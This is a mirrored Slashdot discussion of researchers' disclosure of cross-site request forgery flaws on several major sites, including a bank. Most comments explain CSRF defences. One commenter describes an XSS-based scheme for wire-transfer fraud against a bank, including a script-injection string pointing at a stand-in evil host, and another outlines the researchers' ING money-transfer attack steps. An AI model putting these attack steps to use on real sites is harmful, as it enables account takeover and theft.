Slashdot Mirror
CSRF Flaws Found On Major Websites, Including a Bank
An anonymous reader sends a link to DarkReading on the recent announcement by Princeton researchers of four major Web sites on which they found exploitable cross-site request forgery vulnerabilities. The sites are the NYTimes, YouTube, Metafilter, and INGDirect. All but the NYTimes site have patched the hole. "... four major Websites susceptible to the silent-but-deadly cross-site request forgery attack — including one on INGDirect.com's site that would let an attacker transfer money out of a victim's bank account ... Bill Zeller, a PhD candidate at Princeton, says the CSRF bug that he and fellow researcher Edward Felton found on INGDirect.com represents ... 'the first example of a CSRF attack that allows money to be transferred out of a bank account that [we're] aware of.' ... CSRF is little understood in the Web development community, and it is therefore a very common vulnerability on Websites. 'It's basically wherever you look,' says [a security researcher]." Here are Zeller's Freedom to Tinker post and the research paper (PDF).
Just as a responsible institution has an independent auditor come to inspect their financial books for correctness, so should a responsible institution do with its computer systems and network security. The two are different only insofar as financial accounting is different from computer administration, but the need to audit both is equally pressing. This story serves as yet another example of the necessity for such things.
McCain/Palin '08. Now THAT's hope and change!
Why is it that some business even when notified of a major security risk either say that it is functioning normally or not patch the thing right away? Do some businesses not have sysadmins or what? If I got an E-mail that said that my servers could be owned by such and such exploit by doing this and this, I would immediately take action.
Taxation is legalized theft, no more, no less.
The CEO had already taken all the money in your account. There is nothing left in your account. So the hacker could do any more damage. This is the new security measure that thwarts the hackers. Now the CEO wants another 700Billion dollars for this brilliant outflanking of the hacker.
sed -e 's/Chuck Norris/Rajnikant/g' joke > fact
Recent stock market crash and bank sales are actually a ploy by some clever Russian hackers...
This looks like a very nasty attack to defend against. More info:
http://en.wikipedia.org/wiki/Cross-site_request_forgery
For anyone curious, Jeff Atwood of Coding Horror recently wrote about them in his blog. Included are some additional details and a couple of examples.
At face value it's a somewhat obvious exploit, but still interesting.
"What do you despise? By this are you truly known." --Princess Irulan, Manual of Muad'Dib
/)
http://www.cgisecurity.com/articles/csrf-faq.shtml
Believe me, if I started murdering people, there would be none of you left.
"...four major Websites susceptible to the silent-but-deadly cross-site request forgery attack..."
I knew something smelled funny...
Paleotechnologist and connoisseur of pretty shiny things.
Since the CSRF request will come with the referrer header set to the attacker's site, then validating the referrer should also counter this attack.
This is not the same as the the "same origin policy" in Appendix B of the paper.
Never attribute to malice that which can be adequately explained by stupidity.
Don't assume these people don't care or don't want to fix it. CSRF is in the class of "WebAppSec" (what the kids call it these days) that is not "syntactic" in nature; meaning that you cannot just say "here, use this API and you're safe". It's a "semantic" problem; the developer has to both understand "how" sensitive transactions can be abused AND "how" these transactions can be fixed (like with a nonce).
It's probably just that they don't know how to do it, at least not manageably on an average budget.
libertarian: (n) socially liberal, financially conservative; neither left, nor right.
Ruby On Rails has prevented this, by default, for almost a year:
http://api.rubyonrails.org/classes/ActionController/RequestForgeryProtection/ClassMethods.html
That not only prevents against the image hack, it also prevents against things like a hidden form in an iframe.
Granted, it's still possible for you to do stupid things with GET requests, and it's possible you could turn it off entirely. But it's pretty trivial to stay safe here.
And no, there's not really going to be a sane way for browsers to protect you from this, unless you've left on all the annoying "You are about to send data over the internet!!!1!one" warnings. This is really going to be up to site admins to fix.
Don't thank God, thank a doctor!
including one on INGDirect.com's site that would let an attacker transfer money out of a victim's bank account
With my INGdirect account (in Australia) you can only transfer your savings back into your normal bank account that is associated with the ING account. So I don't think an an attacker could actually transfer money out to somewhere they could get it. Associating another bank account with the ING account requires more than just logging in to your ING account (phone/written permission etc. IIRC).
The attacker would be able to cause some inconvenience and will get your bank account number etc. but I can't see how they would actually get your money.
Really? If your idea of "the web community" is people who rely on the code fragments at php.net to do their jobs, maybe.
Honestly its not as complex as people describe it, atleast if its reffering to what I think its reffering to.
You can exploit this type of vulnerability by viewing the source of the target website, figuring out how it works together, and writing up an html form. I use it to automatically log my self into a lot of secure web based tools I use at work without having to input login info.
We'll all be dead before the browser becomes a viable application platform. But thanks for playing!
Any chump can transfer money out of any bank account with nothing but a fax. Try it some time. People don't do it because it's a felony and people generally don't want to go to prison.
Also, there were several CSRF attacks that came across Bugtraq in 2000 and 2001. Some of them were against banks.
So... CSRF is vastly not understood or ignored by the Web community? Wow! How could that be? The article says exacly NOTHING about what it actually is, or how it is accomplished!
Is it possible that this refers to Cross-Site Scripting? In which case, LOTS of people know about it, and while some sites may be vulnerable, most professionals are aware.
If this is NOT cross-site scripting, then how is it different? The article says nothing about that. Is this a real alarm (in which case we need to know what this really is), or is it just a years-late warning about XSS?
If there were ever a post that screamed for clarification, this is it.
If I got an E-mail that said that my servers could be owned by such and such exploit by doing this and this, I would immediately take action.
Of course, this exploit doesn't affect the servers at all. But then, you'd know that had you bothered to RTFA instead of rush out a next to useless message in a failed attempt to get first post.
Saying that is like saying "cryptography doesn't really provide privacy, because it is subject to brute force". Of course pseudorandom tokens stop CSRF attack (when implemented properly).
The unexpected conclusion of Zeller and Felton's paper is that the worldwide banking collapse is actually a protective measure against malware. With assets illiquid, even CSRF attacks can't move money!
There are no karma whores, only moderation johns
I followed the links and I see how this works. (FYI, the phrase is "uncategorically", not "categorically", and probably had no relevance here. I think you meant "specifically".)
In any case, even if I am wrong in that, thanks for pointing me in the right direction. I understand now that it is different.
your comment suggests that you don't understand what a CSRF attack is.
http referer can be intentionally spoofed by an untrusted browser, but a CSRF attack is executed by an untrusted page on a trusted browser. in this case the server is not the target, the user is. the attacker's page can cause the victim's browser to make a forged GET or POST request without the user's knowledge, but the request headers are still set by the browser, and thus cannot be altered by the attacker.
if you were using http referer to prevent a user from accessing a restricted page, then of course that can be spoofed since the user would be the attacker, and the server the target. but that is completely unrelated to CSRF attacks.
You don't even need read cookies to exploit
this feature.
This technique is probably used in stock fraud
pump-and-dump schemes. Google Finance has a
trend display that shows the most "popular"
stock base on the the Gooogle Trend technology.
Fraudsters probably popularize stocks they've
purchased by seeding web sites with images that
search Google for the company name of the stock.
As more folks search the company, the stock
becomes more popular. As it get popular it gets
more eyeball looking at it and investing in it
who ever invested in a stock they didn't
hear off?). The stock goes up. The fraudsters
dump the stock.
The referrer can be spoofed using javascript (XMLHttpRequest), and thus cannot be depended on even with trusted browsers.
hrmm... i was not aware of this. i thought XMLHttpRequest could not be executed across domains. this seems like a pretty serious security design flaw.
i mean, shouldn't the same origin security policy prevent XMLHttpRequest from making requests across domains? i remember when i wrote AJAX applications in the past that i couldn't even call XMLHttpRequest on a subdomain.
This really isn't that surprising. A number of years ago, I was in a Wells Fargo branch; their kiosks are limited to showing only wellsfargo.com.
So, in an attempt to get to another site, I typed some HTML into the search box on their homepage, and pretty much every page on their site. Sure enough, it inserted the HTML into the page without any problems.
So, I got home, and whipped up a phishing email. It went to wellsfargo.com, used a little javascript to do a popunder, and set window.location to wellsfargo.com. The popunder self-refreshed every few seconds, and checked the cookies to see when the user had logged in. After the user logs in, it waits 9 minutes (auto-logout was 10 minutes), and then would build a form to initiate a wire transfer, and submit it - while the user was still logged in. It would then close the popunder.
So, with a simple link to a search for something like <script src="http://evilsite.tld">, I could take complete control over someone's bank account. This would be easy to pull off with an email saying something like "We have detected suspicious activity; click here to log on to wellsfargo.com". It really would take them to wellsfargo.com, and they could log in. You don't need a user/password if you control the browser.
I let them know that day, and explained how one escapes HTML. To their credit, it was fixed in a very short period of time. That still doesn't excuse that 1) they should know better, and 2) if you're going to check anything, it should be the one form that's on every page.
There is a difference, after all. Do you feel that you are qualified to be a censor??
Instead of web developers trying to escape seeing that message by trying to turn GET into a half-working POST, browser vendors should change the error message to make it clearer, if necessary. For what it's worth, I'm browsing using IE at the moment and its message is clear enough, and I suspect the same to be true on other browsers, so I suspect you're doing a lot of work creating a hackish workaround for a non-problem. Although I must say that the error message would be clearer if the browser were to display a little bit more information, like the form and perhaps a link to a help page explaining the topic properly.
P.S. I'm assuming you're talking about the browser messages. I've also seen server messages like that, but as a web developer you can change those, so you're not talking about that, I hope.
And the ING site doesn't change anything with GET requests. They only use POST requests. Read the FA :-)
Changing GET to POST does not, in any way shape or form, protect you from a CSRF attack.
If you think it does and have been doing this on your own site or projects, you have some more research and work to do.
All changing GET to POST does is make it a tiny bit harder for Joe n00b hacker. But anyone with half a clue knows how to use JS to do CSRF using POST requests.
I use [the Post Redirect Get] paradigm 100% of the time.
Likewise, both for the ease for a user and for the cleanliness of the UI. I _know_ what the program is going to do at any given point. There have been many good articles on the PostRedirectGet pattern. The argument against it is the increase in bandwidth. However, considering the rather small size of gets and redirects, compared to the mass of a post or full-page response, this is chump change.
Now more stocks will plummet because of this article , and my ING banking portfolio is OUT the window!
The nature of CSRF is that one of your legit users has to be a party to the attack (of which the are ultimately the victim), though. Is one of my users going to click a CSRF-exploit link 4 billion times in a row, where each attempt displays a page that says "hey, someone just tried to gain access to your account through a CSRF attack"?
Ugh, don't answer that. ;) But seriously: bullshit.
"Believe me!" -- Donald Trump
no, not necessarily.
No, it is.
you could simply add the session ID as one of the necessary GET parameters, and redirect the client afterward, so as to not display the URL with the session ID to her, lest she copies and pastes it to someone.
But, nonetheless, a simple link on that page could destroy the data.
- Could be some web spider (unless also, a FORM is required to log-in before being issued the required session id. Otherwise, it will just be like all those "&sid=" that you see in google result URLs)
- A user could be download a whole website to keep a copy on his computer and use a plugin (which download everything recursively) instead of manual opening/saving everything. The user could very well be logged and thus have a valid session ID. (Even more so if the user wants to back up a website hidden behind a password).
- Could be one of the various caching system that pre-caches all the linked pages on a viewed page by pre-retrieving all the URLs of some page.
- Could be one antivirus - like AVG - which pre-scans all pages linked from the currently displayed one
- etc...
All this system will blindly follow any link on a page, including a "delete link" and if the user has logged previously, will have a valid session ID.
The way web was designed, a link is just a damn *hyper-link*. Its just serves to enable one to jump from one document to another. Nothing more.
Forms is what was designed to communicate information to a webserver.
Yes we can bend a little bit some rules and put a couple of parameters in a GET request (to specify which information to display on a dynamic site). But fundamentally it still the "link as a way to reach one page of informations from another" approach.
*ALWAYS* keep in mind which way things are designed, because otherwise, you will very likely end up running into some situation which assumes the classical design (links moves, never edits) and may break your site.
NEVER PUT ANYTHING IN A LINK THAT MODIFIES DATA. NEVER. EVER.
this simplifies development, because you don't need a form to let the user perform actions.
Going through complex protections to avoid false triggers isn't exactly what I would call "simplifying".
POST just makes it a bit harder to do (e.g., [img] tags in a forum software won't suffice)
Well, forms (be it with GET or POST request) essentially diminish the risk of *accidentally triggering* some action.
They require intent (either conscious intent from the user who clicks or malicious intent from the cracker who writes a script which exploits the function), no risks to break anything by error.
It doesn't stop script kiddies, its stops legitimate spiders triggering dangerous actions by mistake.
"Sufficiently advanced satire is indistinguishable from reality." - [Tips: 1DrYakQDKCQ6y52z6QbnkxHXAocMZJE61o ]
Is one of my users going to click a CSRF-exploit link 4 billion times in a row[...]?
Of course not. But a Javascript snippet on a site they were tricked into visiting might.
It's always a long day... 86400 doesn't fit into a short.
The PDF described the attack in detail. The attacker opens a new ING account in your (logged-in) identity, transfers any amount of your money from your personal linked account into "your" new ING account, adds any arbitrary payee (the attacker's own ING account, opened previously), then transfers funds from "your" new ING account to the attacker's ING account. They say it's been fixed, but please don't presume this wasn't a major issue.
Will Firefox w/NoScript installed block this sort of misbehavior?